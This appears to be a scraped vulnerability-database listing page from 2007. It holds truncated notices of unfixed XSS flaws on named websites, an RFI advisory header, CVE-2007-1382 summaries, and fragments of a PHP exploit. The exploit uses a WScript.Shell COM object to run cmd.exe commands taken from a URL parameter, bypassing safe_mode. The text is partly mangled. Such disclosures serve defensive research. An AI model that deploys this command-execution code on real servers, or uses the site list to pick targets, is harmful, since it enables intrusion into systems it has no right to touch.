Unfixed XSS vulnerability at netindia123.com

Security researcher cyber, has submitted on 31/03/2007 a cross-site-scripting XSS vulnerability affecting netindia123.com, which at the time of submission ranked 1212275 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 31/03/2007. It is currentl...

Unfixed XSS vulnerability at rveducation101.com

Security researcher Cyber-Unity, has submitted on 21/03/2007 a cross-site-scripting XSS vulnerability affecting rveducation101.com, which at the time of submission ranked 1041828 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 22/03/2007. It is...

Unfixed XSS vulnerability at www.spin1038.com

Security researcher Vagrant, has submitted on 18/03/2007 a cross-site-scripting XSS vulnerability affecting www.spin1038.com, which at the time of submission ranked 668105 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 18/03/2007. It is...

Unfixed XSS vulnerability at www.srv9.com

Security researcher Vagrant, has submitted on 18/03/2007 a cross-site-scripting XSS vulnerability affecting www.srv9.com, which at the time of submission ranked 6368519 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 18/03/2007. It is currently...

Unfixed XSS vulnerability at www.555-1212.com

Security researcher Narcoticxs, has submitted on 18/03/2007 a cross-site-scripting XSS vulnerability affecting www.555-1212.com, which at the time of submission ranked 183384 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 18/03/2007. It is...

Unfixed XSS vulnerability at www.lyra12.com

Security researcher Vagrant, has submitted on 18/03/2007 a cross-site-scripting XSS vulnerability affecting www.lyra12.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 18/03/2007. It is currently...

Unfixed XSS vulnerability at www.space321.com

Security researcher MaXWeL, has submitted on 17/03/2007 a cross-site-scripting XSS vulnerability affecting www.space321.com, which at the time of submission ranked 5445322 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 17/03/2007. It is...

Unfixed XSS vulnerability at www.the-best10.com

Security researcher MaXWeL, has submitted on 17/03/2007 a cross-site-scripting XSS vulnerability affecting www.the-best10.com, which at the time of submission ranked 858331 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 17/03/2007. It is...

Unfixed XSS vulnerability at www.vinoteka2000.com

Security researcher Narcoticxs, has submitted on 17/03/2007 a cross-site-scripting XSS vulnerability affecting www.vinoteka2000.com, which at the time of submission ranked 3447198 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 18/03/2007. It i...

softnews-rfi.txt

By Hasadya Raed Contact : [email protected] ------------------------------------ Script : SoftNews Media Group Dork : "Copyright © 2004,2006 SoftNews Media Group" Greetz : Only To Security Focus ------------------------------------ B.Files : init.php editnews.php ----------------------------------...

Unfixed XSS vulnerability at www.sportsanimal99.com

Security researcher MaXWeL, has submitted on 13/03/2007 a cross-site-scripting XSS vulnerability affecting www.sportsanimal99.com, which at the time of submission ranked 1975178 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 14/03/2007. It is...

CVE-2007-1382

The PHP COM extensions for PHP on Windows systems allow context-dependent attackers to execute arbitrary code via a WScript.Shell COM object, as demonstrated by using the Run method of this object to execute cmd.exe, which bypasses PHP's safe mode...

CVE-2007-1382

The CVE-2007-1382 entry concerns the PHP COM extensions for PHP on Windows. The vulnerability arises when a context-dependent attacker uses a WScript.Shell COM object’s Run method to execute cmd.exe, bypassing PHP’s Safe Mode and enabling arbitrary code execution. The affected component is the PH...

PHP COM extension safe_mode protection bypass

WScript.Shell COM object allows execution of any commands...

Unfixed XSS vulnerability at www.mobile88.com

Security researcher By Encore, has submitted on 03/09/2007 a cross-site-scripting XSS vulnerability affecting www.mobile88.com, which at the time of submission ranked 12405 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 08/09/2007. It is...

Unfixed XSS vulnerability at www.arsiv1.com

Security researcher St@rExT, has submitted on 03/08/2007 a cross-site-scripting XSS vulnerability affecting www.arsiv1.com, which at the time of submission ranked 1785925 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 07/08/2007. It is current...

PHP COM extensions (inconsistent Win32) safe_mode Bypass Exploit

No description provided by source. ?php //PHP COM extensions inconsistent Win32 safemode bypass //by rgod $suntzu = new COM"WScript.Shell"; $suntzu-Run'c:windowssystem32cmd.exe /c '.escapeshellarg$GETcmd.' '.dirname$SERVERSCRIPTFILENAME.'/suntzoi.txt';...

PHP COM extensions (inconsistent Win32) safe_mode Bypass Exploit

Exploit for unknown platform in category local exploits ================================================================ PHP COM extensions inconsistent Win32 safemode Bypass Exploit ================================================================ Run'c:\windows\system32\cmd.exe /c...

PHP COM Extensions - inconsistent Win32 safe_mode Bypass

PHP COM Extensions - inconsistent Win32 safemode Bypass Run'c:\windows\system32\cmd.exe /c '.escapeshellarg$GETcmd.' '.dirname$SERVERSCRIPTFILENAME.'/suntzoi.txt'; $suntzoi=file"suntzoi.txt"; for $i=0; $i milw0rm.com 2007-03-07...

PHP 'COM' Extensions - inconsistent Win32 'safe_mode' Bypass

Run'c:\windows\system32\cmd.exe /c '.escapeshellarg$GETcmd.' '.dirname$SERVERSCRIPTFILENAME.'/suntzoi.txt'; $suntzoi=file"suntzoi.txt"; for $i=0; $i milw0rm.com 2007-03-07...